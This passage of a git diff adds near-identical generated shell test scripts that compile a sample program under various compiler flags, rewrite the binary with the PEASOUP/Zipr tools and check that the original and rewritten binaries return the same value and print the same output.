+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7fe3d4f89caf34d613b5dad6c22d0c13914167b5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a05bbf5c558a9b3e5296b40476d3fae520439126
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2e85acaa099904a28fff019e0ae3643f31f7ccc6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..14871ef4e245fb54198b98f2e4e0a677ed64b50e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1196fef75825599cd4036caa9e31452232e44011
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6058bd25c7ad82870ba0d8b461563b681ca6efba
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
